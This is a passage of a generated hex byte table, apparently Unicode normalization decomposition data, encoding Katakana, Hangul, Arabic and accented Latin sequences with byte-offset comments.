0xE3, 0x83, 0xBC, 0xE3, 0x83, 0x84, + 0x4C, 0xE3, 0x83, 0x92, 0xE3, 0x82, 0x9A, 0xE3, + 0x82, 0xAF, 0xE3, 0x83, 0xAB, 0x4C, 0xE3, 0x83, + 0x95, 0xE3, 0x82, 0xA3, 0xE3, 0x83, 0xBC, 0xE3, + 0x83, 0x88, 0x4C, 0xE3, 0x83, 0x98, 0xE3, 0x82, + 0x99, 0xE3, 0x83, 0xBC, 0xE3, 0x82, 0xBF, 0x4C, + 0xE3, 0x83, 0x98, 0xE3, 0x82, 0x9A, 0xE3, 0x83, + 0x8B, 0xE3, 0x83, 0x92, 0x4C, 0xE3, 0x83, 0x98, + // Bytes 2bc0 - 2bff + 0xE3, 0x82, 0x9A, 0xE3, 0x83, 0xB3, 0xE3, 0x82, + 0xB9, 0x4C, 0xE3, 0x83, 0x9B, 0xE3, 0x82, 0x99, + 0xE3, 0x83, 0xAB, 0xE3, 0x83, 0x88, 0x4C, 0xE3, + 0x83, 0x9E, 0xE3, 0x82, 0xA4, 0xE3, 0x82, 0xAF, + 0xE3, 0x83, 0xAD, 0x4C, 0xE3, 0x83, 0x9F, 0xE3, + 0x82, 0xAF, 0xE3, 0x83, 0xAD, 0xE3, 0x83, 0xB3, + 0x4C, 0xE3, 0x83, 0xA1, 0xE3, 0x83, 0xBC, 0xE3, + 0x83, 0x88, 0xE3, 0x83, 0xAB, 0x4C, 0xE3, 0x83, + // Bytes 2c00 - 2c3f + 0xAA, 0xE3, 0x83, 0x83, 0xE3, 0x83, 0x88, 0xE3, + 0x83, 0xAB, 0x4C, 0xE3, 0x83, 0xAB, 0xE3, 0x83, + 0x92, 0xE3, 0x82, 0x9A, 0xE3, 0x83, 0xBC, 0x4C, + 0xE6, 0xA0, 0xAA, 0xE5, 0xBC, 0x8F, 0xE4, 0xBC, + 0x9A, 0xE7, 0xA4, 0xBE, 0x4E, 0x28, 0xE1, 0x84, + 0x8B, 0xE1, 0x85, 0xA9, 0xE1, 0x84, 0x92, 0xE1, + 0x85, 0xAE, 0x29, 0x4F, 0xD8, 0xAC, 0xD9, 0x84, + 0x20, 0xD8, 0xAC, 0xD9, 0x84, 0xD8, 0xA7, 0xD9, + // Bytes 2c40 - 2c7f + 0x84, 0xD9, 0x87, 0x4F, 0xE3, 0x82, 0xA2, 0xE3, + 0x83, 0x8F, 0xE3, 0x82, 0x9A, 0xE3, 0x83, 0xBC, + 0xE3, 0x83, 0x88, 0x4F, 0xE3, 0x82, 0xA2, 0xE3, + 0x83, 0xB3, 0xE3, 0x83, 0x98, 0xE3, 0x82, 0x9A, + 0xE3, 0x82, 0xA2, 0x4F, 0xE3, 0x82, 0xAD, 0xE3, + 0x83, 0xAD, 0xE3, 0x83, 0xAF, 0xE3, 0x83, 0x83, + 0xE3, 0x83, 0x88, 0x4F, 0xE3, 0x82, 0xB5, 0xE3, + 0x83, 0xB3, 0xE3, 0x83, 0x81, 0xE3, 0x83, 0xBC, + // Bytes 2c80 - 2cbf + 0xE3, 0x83, 0xA0, 0x4F, 0xE3, 0x83, 0x8F, 0xE3, + 0x82, 0x99, 0xE3, 0x83, 0xBC, 0xE3, 0x83, 0xAC, + 0xE3, 0x83, 0xAB, 0x4F, 0xE3, 0x83, 0x98, 0xE3, + 0x82, 0xAF, 0xE3, 0x82, 0xBF, 0xE3, 0x83, 0xBC, + 0xE3, 0x83, 0xAB, 0x4F, 0xE3, 0x83, 0x9B, 0xE3, + 0x82, 0x9A, 0xE3, 0x82, 0xA4, 0xE3, 0x83, 0xB3, + 0xE3, 0x83, 0x88, 0x4F, 0xE3, 0x83, 0x9E, 0xE3, + 0x83, 0xB3, 0xE3, 0x82, 0xB7, 0xE3, 0x83, 0xA7, + // Bytes 2cc0 - 2cff + 0xE3, 0x83, 0xB3, 0x4F, 0xE3, 0x83, 0xA1, 0xE3, + 0x82, 0xAB, 0xE3, 0x82, 0x99, 0xE3, 0x83, 0x88, + 0xE3, 0x83, 0xB3, 0x4F, 0xE3, 0x83, 0xAB, 0xE3, + 0x83, 0xBC, 0xE3, 0x83, 0x95, 0xE3, 0x82, 0x99, + 0xE3, 0x83, 0xAB, 0x51, 0x28, 0xE1, 0x84, 0x8B, + 0xE1, 0x85, 0xA9, 0xE1, 0x84, 0x8C, 0xE1, 0x85, + 0xA5, 0xE1, 0x86, 0xAB, 0x29, 0x52, 0xE3, 0x82, + 0xAD, 0xE3, 0x82, 0x99, 0xE3, 0x83, 0xAB, 0xE3, + // Bytes 2d00 - 2d3f + 0x82, 0xBF, 0xE3, 0x82, 0x99, 0xE3, 0x83, 0xBC, + 0x52, 0xE3, 0x82, 0xAD, 0xE3, 0x83, 0xAD, 0xE3, + 0x82, 0xAF, 0xE3, 0x82, 0x99, 0xE3, 0x83, 0xA9, + 0xE3, 0x83, 0xA0, 0x52, 0xE3, 0x82, 0xAD, 0xE3, + 0x83, 0xAD, 0xE3, 0x83, 0xA1, 0xE3, 0x83, 0xBC, + 0xE3, 0x83, 0x88, 0xE3, 0x83, 0xAB, 0x52, 0xE3, + 0x82, 0xAF, 0xE3, 0x82, 0x99, 0xE3, 0x83, 0xA9, + 0xE3, 0x83, 0xA0, 0xE3, 0x83, 0x88, 0xE3, 0x83, + // Bytes 2d40 - 2d7f + 0xB3, 0x52, 0xE3, 0x82, 0xAF, 0xE3, 0x83, 0xAB, + 0xE3, 0x82, 0xBB, 0xE3, 0x82, 0x99, 0xE3, 0x82, + 0xA4, 0xE3, 0x83, 0xAD, 0x52, 0xE3, 0x83, 0x8F, + 0xE3, 0x82, 0x9A, 0xE3, 0x83, 0xBC, 0xE3, 0x82, + 0xBB, 0xE3, 0x83, 0xB3, 0xE3, 0x83, 0x88, 0x52, + 0xE3, 0x83, 0x92, 0xE3, 0x82, 0x9A, 0xE3, 0x82, + 0xA2, 0xE3, 0x82, 0xB9, 0xE3, 0x83, 0x88, 0xE3, + 0x83, 0xAB, 0x52, 0xE3, 0x83, 0x95, 0xE3, 0x82, + // Bytes 2d80 - 2dbf + 0x99, 0xE3, 0x83, 0x83, 0xE3, 0x82, 0xB7, 0xE3, + 0x82, 0xA7, 0xE3, 0x83, 0xAB, 0x52, 0xE3, 0x83, + 0x9F, 0xE3, 0x83, 0xAA, 0xE3, 0x83, 0x8F, 0xE3, + 0x82, 0x99, 0xE3, 0x83, 0xBC, 0xE3, 0x83, 0xAB, + 0x52, 0xE3, 0x83, 0xAC, 0xE3, 0x83, 0xB3, 0xE3, + 0x83, 0x88, 0xE3, 0x82, 0xB1, 0xE3, 0x82, 0x99, + 0xE3, 0x83, 0xB3, 0x61, 0xD8, 0xB5, 0xD9, 0x84, + 0xD9, 0x89, 0x20, 0xD8, 0xA7, 0xD9, 0x84, 0xD9, + // Bytes 2dc0 - 2dff + 0x84, 0xD9, 0x87, 0x20, 0xD8, 0xB9, 0xD9, 0x84, + 0xD9, 0x8A, 0xD9, 0x87, 0x20, 0xD9, 0x88, 0xD8, + 0xB3, 0xD9, 0x84, 0xD9, 0x85, 0x06, 0xE0, 0xA7, + 0x87, 0xE0, 0xA6, 0xBE, 0x01, 0x06, 0xE0, 0xA7, + 0x87, 0xE0, 0xA7, 0x97, 0x01, 0x06, 0xE0, 0xAD, + 0x87, 0xE0, 0xAC, 0xBE, 0x01, 0x06, 0xE0, 0xAD, + 0x87, 0xE0, 0xAD, 0x96, 0x01, 0x06, 0xE0, 0xAD, + 0x87, 0xE0, 0xAD, 0x97, 0x01, 0x06, 0xE0, 0xAE, + // Bytes 2e00 - 2e3f + 0x92, 0xE0, 0xAF, 0x97, 0x01, 0x06, 0xE0, 0xAF, + 0x86, 0xE0, 0xAE, 0xBE, 0x01, 0x06, 0xE0, 0xAF, + 0x86, 0xE0, 0xAF, 0x97, 0x01, 0x06, 0xE0, 0xAF, + 0x87, 0xE0, 0xAE, 0xBE, 0x01, 0x06, 0xE0, 0xB2, + 0xBF, 0xE0, 0xB3, 0x95, 0x01, 0x06, 0xE0, 0xB3, + 0x86, 0xE0, 0xB3, 0x95, 0x01, 0x06, 0xE0, 0xB3, + 0x86, 0xE0, 0xB3, 0x96, 0x01, 0x06, 0xE0, 0xB5, + 0x86, 0xE0, 0xB4, 0xBE, 0x01, 0x06, 0xE0, 0xB5, + // Bytes 2e40 - 2e7f + 0x86, 0xE0, 0xB5, 0x97, 0x01, 0x06, 0xE0, 0xB5, + 0x87, 0xE0, 0xB4, 0xBE, 0x01, 0x06, 0xE0, 0xB7, + 0x99, 0xE0, 0xB7, 0x9F, 0x01, 0x06, 0xE1, 0x80, + 0xA5, 0xE1, 0x80, 0xAE, 0x01, 0x06, 0xE1, 0xAC, + 0x85, 0xE1, 0xAC, 0xB5, 0x01, 0x06, 0xE1, 0xAC, + 0x87, 0xE1, 0xAC, 0xB5, 0x01, 0x06, 0xE1, 0xAC, + 0x89, 0xE1, 0xAC, 0xB5, 0x01, 0x06, 0xE1, 0xAC, + 0x8B, 0xE1, 0xAC, 0xB5, 0x01, 0x06, 0xE1, 0xAC, + // Bytes 2e80 - 2ebf + 0x8D, 0xE1, 0xAC, 0xB5, 0x01, 0x06, 0xE1, 0xAC, + 0x91, 0xE1, 0xAC, 0xB5, 0x01, 0x06, 0xE1, 0xAC, + 0xBA, 0xE1, 0xAC, 0xB5, 0x01, 0x06, 0xE1, 0xAC, + 0xBC, 0xE1, 0xAC, 0xB5, 0x01, 0x06, 0xE1, 0xAC, + 0xBE, 0xE1, 0xAC, 0xB5, 0x01, 0x06, 0xE1, 0xAC, + 0xBF, 0xE1, 0xAC, 0xB5, 0x01, 0x06, 0xE1, 0xAD, + 0x82, 0xE1, 0xAC, 0xB5, 0x01, 0x08, 0xF0, 0x91, + 0x84, 0xB1, 0xF0, 0x91, 0x84, 0xA7, 0x01, 0x08, + // Bytes 2ec0 - 2eff + 0xF0, 0x91, 0x84, 0xB2, 0xF0, 0x91, 0x84, 0xA7, + 0x01, 0x08, 0xF0, 0x91, 0x8D, 0x87, 0xF0, 0x91, + 0x8C, 0xBE, 0x01, 0x08, 0xF0, 0x91, 0x8D, 0x87, + 0xF0, 0x91, 0x8D, 0x97, 0x01, 0x08, 0xF0, 0x91, + 0x92, 0xB9, 0xF0, 0x91, 0x92, 0xB0, 0x01, 0x08, + 0xF0, 0x91, 0x92, 0xB9, 0xF0, 0x91, 0x92, 0xBA, + 0x01, 0x08, 0xF0, 0x91, 0x92, 0xB9, 0xF0, 0x91, + 0x92, 0xBD, 0x01, 0x08, 0xF0, 0x91, 0x96, 0xB8, + // Bytes 2f00 - 2f3f + 0xF0, 0x91, 0x96, 0xAF, 0x01, 0x08, 0xF0, 0x91, + 0x96, 0xB9, 0xF0, 0x91, 0x96, 0xAF, 0x01, 0x08, + 0xF0, 0x91, 0xA4, 0xB5, 0xF0, 0x91, 0xA4, 0xB0, + 0x01, 0x09, 0xE0, 0xB3, 0x86, 0xE0, 0xB3, 0x82, + 0xE0, 0xB3, 0x95, 0x02, 0x09, 0xE0, 0xB7, 0x99, + 0xE0, 0xB7, 0x8F, 0xE0, 0xB7, 0x8A, 0x16, 0x44, + 0x44, 0x5A, 0xCC, 0x8C, 0xCD, 0x44, 0x44, 0x7A, + 0xCC, 0x8C, 0xCD, 0x44, 0x64, 0x7A, 0xCC, 0x8C, + // Bytes 2f40 - 2f7f + 0xCD, 0x46, 0xD9, 0x84, 0xD8, 0xA7, 0xD9, 0x93, + 0xCD, 0x46, 0xD9, 0x84, 0xD8, 0xA7, 0xD9, 0x94, + 0xCD, 0x46, 0xD9, 0x84, 0xD8, 0xA7, 0xD9, 0x95, + 0xB9, 0x46, 0xE1, 0x84, 0x80, 0xE1, 0x85, 0xA1, + 0x01, 0x46, 0xE1, 0x84, 0x82, 0xE1, 0x85, 0xA1, + 0x01, 0x46, 0xE1, 0x84, 0x83, 0xE1, 0x85, 0xA1, + 0x01, 0x46, 0xE1, 0x84, 0x85, 0xE1, 0x85, 0xA1, + 0x01, 0x46, 0xE1, 0x84, 0x86, 0xE1, 0x85, 0xA1, + // Bytes 2f80 - 2fbf + 0x01, 0x46, 0xE1, 0x84, 0x87, 0xE1, 0x85, 0xA1, + 0x01, 0x46, 0xE1, 0x84, 0x89, 0xE1, 0x85, 0xA1, + 0x01, 0x46, 0xE1, 0x84, 0x8B, 0xE1, 0x85, 0xA1, + 0x01, 0x46, 0xE1, 0x84, 0x8B, 0xE1, 0x85, 0xAE, + 0x01, 0x46, 0xE1, 0x84, 0x8C, 0xE1, 0x85, 0xA1, + 0x01, 0x46, 0xE1, 0x84, 0x8E, 0xE1, 0x85, 0xA1, + 0x01, 0x46, 0xE1, 0x84, 0x8F, 0xE1, 0x85, 0xA1, + 0x01, 0x46, 0xE1, 0x84, 0x90, 0xE1, 0x85, 0xA1, + // Bytes 2fc0 - 2fff + 0x01, 0x46, 0xE1, 0x84, 0x91, 0xE1, 0x85, 0xA1, + 0x01, 0x46, 0xE1, 0x84, 0x92, 0xE1, 0x85, 0xA1, + 0x01, 0x49, 0xE3, 0x83, 0xA1, 0xE3, 0x82, 0xAB, + 0xE3, 0x82, 0x99, 0x11, 0x4C, 0xE1, 0x84, 0x8C, + 0xE1, 0x85, 0xAE, 0xE1, 0x84, 0x8B, 0xE1, 0x85, + 0xB4, 0x01, 0x4C, 0xE3, 0x82, 0xAD, 0xE3, 0x82, + 0x99, 0xE3, 0x82, 0xAB, 0xE3, 0x82, 0x99, 0x11, + 0x4C, 0xE3, 0x82, 0xB3, 0xE3, 0x83, 0xBC, 0xE3, + // Bytes 3000 - 303f + 0x83, 0x9B, 0xE3, 0x82, 0x9A, 0x11, 0x4C, 0xE3, + 0x83, 0xA4, 0xE3, 0x83, 0xBC, 0xE3, 0x83, 0x88, + 0xE3, 0x82, 0x99, 0x11, 0x4F, 0xE1, 0x84, 0x8E, + 0xE1, 0x85, 0xA1, 0xE1, 0x86, 0xB7, 0xE1, 0x84, + 0x80, 0xE1, 0x85, 0xA9, 0x01, 0x4F, 0xE3, 0x82, + 0xA4, 0xE3, 0x83, 0x8B, 0xE3, 0x83, 0xB3, 0xE3, + 0x82, 0xAF, 0xE3, 0x82, 0x99, 0x11, 0x4F, 0xE3, + 0x82, 0xB7, 0xE3, 0x83, 0xAA, 0xE3, 0x83, 0xB3, + // Bytes 3040 - 307f + 0xE3, 0x82, 0xAF, 0xE3, 0x82, 0x99, 0x11, 0x4F, + 0xE3, 0x83, 0x98, 0xE3, 0x82, 0x9A, 0xE3, 0x83, + 0xBC, 0xE3, 0x82, 0xB7, 0xE3, 0x82, 0x99, 0x11, + 0x4F, 0xE3, 0x83, 0x9B, 0xE3, 0x82, 0x9A, 0xE3, + 0x83, 0xB3, 0xE3, 0x83, 0x88, 0xE3, 0x82, 0x99, + 0x11, 0x52, 0xE3, 0x82, 0xA8, 0xE3, 0x82, 0xB9, + 0xE3, 0x82, 0xAF, 0xE3, 0x83, 0xBC, 0xE3, 0x83, + 0x88, 0xE3, 0x82, 0x99, 0x11, 0x52, 0xE3, 0x83, + // Bytes 3080 - 30bf + 0x95, 0xE3, 0x82, 0xA1, 0xE3, 0x83, 0xA9, 0xE3, + 0x83, 0x83, 0xE3, 0x83, 0x88, 0xE3, 0x82, 0x99, + 0x11, 0x86, 0xE0, 0xB3, 0x86, 0xE0, 0xB3, 0x82, + 0x01, 0x86, 0xE0, 0xB7, 0x99, 0xE0, 0xB7, 0x8F, + 0x01, 0x03, 0x3C, 0xCC, 0xB8, 0x05, 0x03, 0x3D, + 0xCC, 0xB8, 0x05, 0x03, 0x3E, 0xCC, 0xB8, 0x05, + 0x03, 0x41, 0xCC, 0x80, 0xCD, 0x03, 0x41, 0xCC, + 0x81, 0xCD, 0x03, 0x41, 0xCC, 0x83, 0xCD, 0x03, + // Bytes 30c0 - 30ff + 0x41, 0xCC, 0x84, 0xCD, 0x03, 0x41, 0xCC, 0x89, + 0xCD, 0x03, 0x41, 0xCC, 0x8C, 0xCD, 0x03, 0x41, + 0xCC, 0x8F, 0xCD, 0x03, 0x41, 0xCC, 0x91, 0xCD, + 0x03, 0x41, 0xCC, 0xA5, 0xB9, 0x03, 0x41, 0xCC, + 0xA8, 0xA9, 0x03, 0x42, 0xCC, 0x87, 0xCD, 0x03, + 0x42, 0xCC, 0xA3, 0xB9, 0x03, 0x42, 0xCC, 0xB1, + 0xB9, 0x03, 0x43, 0xCC, 0x81, 0xCD, 0x03, 0x43, + 0xCC, 0x82, 0xCD, 0x03, 0x43, 0xCC, 0x87, 0xCD, + // Bytes 3100 - 313f + 0x03, 0x43, 0xCC, 0x8C, 0xCD, 0x03, 0x44, 0xCC, + 0x87, 0xCD, 0x03, 0x44, 0xCC, 0x8C, 0xCD, 0x03, + 0x44, 0xCC, 0xA3, 0xB9, 0x03, 0x44, 0xCC, 0xA7, + 0xA9, 0x03, 0x44, 0xCC, 0xAD, 0xB9, 0x03, 0x44, + 0xCC, 0xB1, 0xB9, 0x03, 0x45, 0xCC, 0x80, 0xCD, + 0x03, 0x45, 0xCC, 0x81, 0xCD, 0x03, 0x45, 0xCC, + 0x83, 0xCD, 0x03, 0x45, 0xCC, 0x86, 0xCD, 0x03, + 0x45, 0xCC, 0x87, 0xCD, 0x03, 0x45, 0xCC, 0x88, + // Bytes 3140 - 317f + 0xCD, 0x03, 0x45, 0xCC, 0x89, 0xCD, 0x03, 0x45, + 0xCC, 0x8C, 0xCD, 0x03, 0x45, 0xCC, 0x8F, 0xCD, + 0x03, 0x45, 0xCC, 0x91, 0xCD, 0x03, 0x45, 0xCC, + 0xA8, 0xA9, 0x03, 0x45, 0xCC, 0xAD, 0xB9, 0x03, + 0x45, 0xCC, 0xB0, 0xB9, 0x03, 0x46, 0xCC, 0x87, + 0xCD, 0x03, 0x47, 0xCC, 0x81, 0xCD, 0x03, 0x47, + 0xCC, 0x82, 0xCD, 0x03, 0x47, 0xCC, 0x84, 0xCD, + 0x03, 0x47, 0xCC, 0x86, 0xCD, 0x03, 0x47, 0xCC, + // Bytes 3180 - 31bf + 0x87, 0xCD, 0x03, 0x47, 0xCC, 0x8C, 0xCD, 0x03, + 0x47, 0xCC, 0xA7, 0xA9, 0x03, 0x48, 0xCC, 0x82, + 0xCD, 0x03, 0x48, 0xCC, 0x87, 0xCD, 0x03, 0x48, + 0xCC, 0x88, 0xCD, 0x03, 0x48, 0xCC, 0x8C, 0xCD, + 0x03, 0x48, 0xCC, 0xA3, 0xB9, 0x03, 0x48, 0xCC, + 0xA7, 0xA9, 0x03, 0x48, 0xCC, 0xAE, 0xB9, 0x03, + 0x49, 0xCC, 0x80, 0xCD, 0x03, 0x49, 0xCC, 0x81, + 0xCD, 0x03, 0x49, 0xCC, 0x82, 0xCD, 0x03, 0x49, + // Bytes 31c0 - 31ff + 0xCC, 0x83, 0xCD, 0x03, 0x49, 0xCC, 0x84, 0xCD, + 0x03, 0x49, 0xCC, 0x86, 0xCD, 0x03, 0x49, 0xCC, + 0x87, 0xCD, 0x03, 0x49, 0xCC, 0x89, 0xCD, 0x03, + 0x49, 0xCC, 0x8C, 0xCD, 0x03, 0x49, 0xCC, 0x8F, + 0xCD, 0x03, 0x49, 0xCC, 0x91, 0xCD, 0x03, 0x49, + 0xCC, 0xA3, 0xB9, 0x03, 0x49, 0xCC, 0xA8, 0xA9, + 0x03, 0x49, 0xCC, 0xB0, 0xB9, 0x03, 0x4A, 0xCC, + 0x82, 0xCD, 0x03, 0x4B, 0xCC, 0x81, 0xCD, 0x03, + // Bytes 3200 - 323f + 0x4B, 0xCC, 0x8C, 0xCD, 0x03, 0x4B, 0xCC, 0xA3, + 0xB9, 0x03, 0x4B, 0xCC, 0xA7, 0xA9, 0x03, 0x4B, + 0xCC, 0xB1, 0xB9, 0x03, 0x4C, 0xCC, 0x81, 0xCD, + 0x03, 0x4C, 0xCC, 0x8C, 0xCD, 0x03, 0x4C, 0xCC, + 0xA7, 0xA9, 0x03, 0x4C, 0xCC, 0xAD, 0xB9, 0x03, + 0x4C, 0xCC, 0xB1, 0xB9, 0x03, 0x4D, 0xCC, 0x81, + 0xCD, 0x03, 0x4D, 0xCC, 0x87, 0xCD, 0x03, 0x4D, + 0xCC, 0xA3, 0xB9, 0x03, 0x4E, 0xCC, 0x80, 0xCD, + // Bytes 3240 - 327f + 0x03, 0x4E, 0xCC, 0x81, 0xCD, 0x03, 0x4E, 0xCC, + 0x83, 0xCD, 0x03, 0x4E, 0xCC, 0x87, 0xCD, 0x03, + 0x4E, 0xCC, 0x8C, 0xCD, 0x03, 0x4E, 0xCC, 0xA3, + 0xB9, 0x03, 0x4E, 0xCC, 0xA7, 0xA9, 0x03, 0x4E, + 0xCC, 0xAD, 0xB9, 0x03, 0x4E, 0xCC, 0xB1, 0xB9, + 0x03, 0x4F, 0xCC, 0x80, 0xCD, 0x03, 0x4F, 0xCC, + 0x81, 0xCD, 0x03, 0x4F, 0xCC, 0x86, 0xCD, 0x03, + 0x4F, 0xCC, 0x89, 0xCD, 0x03, 0x4F, 0xCC, 0x8B, + // Bytes 3280 - 32bf + 0xCD, 0x03, 0x4F, 0xCC, 0x8C, 0xCD, 0x03, 0x4F, + 0xCC, 0x8F, 0xCD, 0x03, 0x4F, 0xCC, 0x91, 0xCD, + 0x03, 0x50, 0xCC, 0x81, 0xCD, 0x03, 0x50, 0xCC, + 0x87, 0xCD, 0x03, 0x52, 0xCC, 0x81, 0xCD, 0x03, + 0x52, 0xCC, 0x87, 0xCD, 0x03, 0x52, 0xCC, 0x8C, + 0xCD, 0x03, 0x52, 0xCC, 0x8F, 0xCD, 0x03, 0x52, + 0xCC, 0x91, 0xCD, 0x03, 0x52, 0xCC, 0xA7, 0xA9, + 0x03, 0x52, 0xCC, 0xB1, 0xB9, 0x03, 0x53, 0xCC, + // Bytes 32c0 - 32ff + 0x82, 0xCD, 0x03, 0x53, 0xCC, 0x87, 0xCD, 0x03, + 0x53, 0xCC, 0xA6, 0xB9, 0x03, 0x53, 0xCC, 0xA7, + 0xA9, 0x03, 0x54, 0xCC, 0x87, 0xCD, 0x03, 0x54, + 0xCC, 0x8C, 0xCD, 0x03, 0x54, 0xCC, 0xA3, 0xB9, + 0x03, 0x54, 0xCC, 0xA6, 0xB9, 0x03, 0x54, 0xCC, + 0xA7, 0xA9, 0x03, 0x54, 0xCC, 0xAD, 0xB9, 0x03, + 0x54, 0xCC, 0xB1, 0xB9, 0x03, 0x55, 0xCC, 0x80, + 0xCD, 0x03, 0x55, 0xCC, 0x81, 0xCD, 0x03, 0x55, + // Bytes 3300 - 333f + 0xCC, 0x82, 0xCD, 0x03, 0x55, 0xCC, 0x86, 0xCD, + 0x03, 0x55, 0xCC, 0x89, 0xCD, 0x03, 0x55, 0xCC, + 0x8A, 0xCD, 0x03, 0x55, 0xCC, 0x8B, 0xCD, 0x03, + 0x55, 0xCC, 0x8C, 0xCD, 0x03, 0x55, 0xCC, 0x8F, + 0xCD, 0x03, 0x55, 0xCC, 0x91, 0xCD, 0x03, 0x55, + 0xCC, 0xA3, 0xB9, 0x03, 0x55, 0xCC, 0xA4, 0xB9, + 0x03, 0x55, 0xCC, 0xA8, 0xA9, 0x03, 0x55, 0xCC, + 0xAD, 0xB9, 0x03, 0x55, 0xCC, 0xB0, 0xB9, 0x03, + // Bytes 3340 - 337f + 0x56, 0xCC, 0x83, 0xCD, 0x03, 0x56, 0xCC, 0xA3, + 0xB9, 0x03, 0x57, 0xCC, 0x80, 0xCD, 0x03, 0x57, + 0xCC, 0x81, 0xCD, 0x03, 0x57, 0xCC, 0x82, 0xCD, + 0x03, 0x57, 0xCC, 0x87, 0xCD, 0x03, 0x57, 0xCC, + 0x88, 0xCD, 0x03, 0x57, 0xCC, 0xA3, 0xB9, 0x03, + 0x58, 0xCC, 0x87, 0xCD, 0x03, 0x58, 0xCC, 0x88, + 0xCD, 0x03, 0x59, 0xCC, 0x80, 0xCD, 0x03, 0x59, + 0xCC, 0x81, 0xCD, 0x03, 0x59, 0xCC, 0x82, 0xCD, + // Bytes 3380 - 33bf + 0x03, 0x59, 0xCC, 0x83, 0xCD, 0x03, 0x59, 0xCC, + 0x84, 0xCD, 0x03, 0x59, 0xCC, 0x87, 0xCD, 0x03, + 0x59, 0xCC, 0x88, 0xCD, 0x03, 0x59, 0xCC, 0x89, + 0xCD, 0x03, 0x59, 0xCC, 0xA3, 0xB9, 0x03, 0x5A, + 0xCC, 0x81, 0xCD, 0x03, 0x5A, 0xCC, 0x82, 0xCD, + 0x03, 0x5A, 0xCC, 0x87, 0xCD, 0x03, 0x5A, 0xCC, + 0x8C, 0xCD, 0x03, 0x5A, 0xCC, 0xA3, 0xB9, 0x03, + 0x5A, 0xCC, 0xB1, 0xB9, 0x03, 0x61, 0xCC, 0x80, + // Bytes 33c0 - 33ff + 0xCD, 0x03, 0x61, 0xCC, 0x81, 0xCD, 0x03, 0x61, + 0xCC, 0x83, 0xCD, 0x03, 0x61, 0xCC, 0x84, 0xCD, + 0x03, 0x61, 0xCC, 0x89, 0xCD, 0x03, 0x61, 0xCC, + 0x8C, 0xCD, 0x03, 0x61, 0xCC, 0x8F, 0xCD, 0x03, + 0x61, 0xCC, 0x91, 0xCD, 0x03, 0x61, 0xCC, 0xA5, + 0xB9, 0x03, 0x61, 0xCC, 0xA8, 0xA9, 0x03, 0x62, + 0xCC, 0x87, 0xCD, 0x03, 0x62, 0xCC, 0xA3, 0xB9, + 0x03, 0x62, 0xCC, 0xB1, 0xB9, 0x03, 0x63, 0xCC, + // Bytes 3400 - 343f + 0x81, 0xCD, 0x03, 0x63, 0xCC, 0x82, 0xCD, 0x03, + 0x63, 0xCC, 0x87, 0xCD, 0x03, 0x63, 0xCC, 0x8C, + 0xCD, 0x03, 0x64, 0xCC, 0x87, 0xCD, 0x03, 0x64, + 0xCC, 0x8C, 0xCD, 0x03, 0x64, 0xCC, 0xA3, 0xB9, + 0x03, 0x64, 0xCC, 0xA7, 0xA9, 0x03, 0x64, 0xCC, + 0xAD, 0xB9, 0x03, 0x64, 0xCC, 0xB1, 0xB9, 0x03, + 0x65, 0xCC, 0x80, 0xCD, 0x03, 0x65, 0xCC, 0x81, + 0xCD, 0x03, 0x65, 0xCC, 0x83, 0xCD, 0x03, 0x65, + // Bytes 3440 - 347f + 0xCC, 0x86, 0xCD, 0x03, 0x65, 0xCC, 0x87, 0xCD, + 0x03, 0x65, 0xCC, 0x88, 0xCD, 0x03, 0x65, 0xCC, + 0x89, 0xCD, 0x03, 0x65, 0xCC, 0x8C, 0xCD, 0x03, + 0x65, 0xCC, 0x8F, 0xCD, 0x03, 0x65, 0xCC, 0x91, + 0xCD, 0x03, 0x65, 0xCC, 0xA8, 0xA9, 0x03, 0x65, + 0xCC, 0xAD, 0xB9, 0x03, 0x65, 0xCC, 0xB0, 0xB9, + 0x03, 0x66, 0xCC, 0x87, 0xCD, 0x03, 0x67, 0xCC, + 0x81, 0xCD, 0x03, 0x67, 0xCC, 0x82, 0xCD, 0x03, + // Bytes 3480 - 34bf + 0x67, 0xCC, 0x84, 0xCD, 0x03, 0x67, 0xCC, 0x86, + 0xCD, 0x03, 0x67, 0xCC, 0x87, 0xCD, 0x03, 0x67, + 0xCC, 0x8C, 0xCD, 0x03, 0x67, 0xCC, 0xA7, 0xA9, + 0x03, 0x68, 0xCC, 0x82, 0xCD, 0x03, 0x68, 0xCC, + 0x87, 0xCD, 0x03, 0x68, 0xCC, 0x88, 0xCD, 0x03, + 0x68, 0xCC, 0x8C, 0xCD, 0x03, 0x68, 0xCC, 0xA3, + 0xB9, 0x03, 0x68, 0xCC, 0xA7, 0xA9, 0x03, 0x68, + 0xCC, 0xAE, 0xB9, 0x03, 0x68, 0xCC, 0xB1, 0xB9, + // Bytes 34c0 - 34ff + 0x03, 0x69, 0xCC, 0x80, 0xCD, 0x03, 0x69, 0xCC, + 0x81, 0xCD, 0x03, 0x69, 0xCC, 0x82, 0xCD, 0x03, + 0x69, 0xCC, 0x83, 0xCD, 0x03, 0x69, 0xCC, 0x84, + 0xCD, 0x03, 0x69, 0xCC, 0x86, 0xCD, 0x03, 0x69, + 0xCC, 0x89, 0xCD, 0x03, 0x69, 0xCC, 0x8C, 0xCD, + 0x03, 0x69, 0xCC, 0x8F, 0xCD, 0x03, 0x69, 0xCC, + 0x91, 0xCD, 0x03, 0x69, 0xCC, 0xA3, 0xB9, 0x03, + 0x69, 0xCC, 0xA8, 0xA9, 0x03, 0x69, 0xCC, 0xB0, + // Bytes 3500 - 353f + 0xB9, 0x03, 0x6A, 0xCC, 0x82, 0xCD, 0x03, 0x6A, + 0xCC, 0x8C, 0xCD, 0x03, 0x6B, 0xCC, 0x81, 0xCD, + 0x03, 0x6B, 0xCC, 0x8C, 0xCD, 0x03, 0x6B, 0xCC, + 0xA3, 0xB9, 0x03, 0x6B, 0xCC, 0xA7, 0xA9, 0x03, + 0x6B, 0xCC, 0xB1, 0xB9, 0x03, 0x6C, 0xCC, 0x81, + 0xCD, 0x03, 0x6C, 0xCC, 0x8C, 0xCD, 0x03, 0x6C, + 0xCC, 0xA7, 0xA9, 0x03, 0x6C, 0xCC, 0xAD, 0xB9, + 0x03, 0x6C, 0xCC, 0xB1, 0xB9, 0x03, 0x6D, 0xCC, + // Bytes 3540 - 357f + 0x81, 0xCD, 0x03, 0x6D, 0xCC, 0x87, 0xCD, 0x03, + 0x6D, 0xCC, 0xA3, 0xB9, 0x03, 0x6E, 0xCC, 0x80, + 0xCD, 0x03, 0x6E, 0xCC, 0x81, 0xCD, 0x03, 0x6E, + 0xCC, 0x83, 0xCD, 0x03, 0x6E, 0xCC, 0x87, 0xCD, + 0x03, 0x6E, 0xCC, 0x8C, 0xCD, 0x03, 0x6E, 0xCC, + 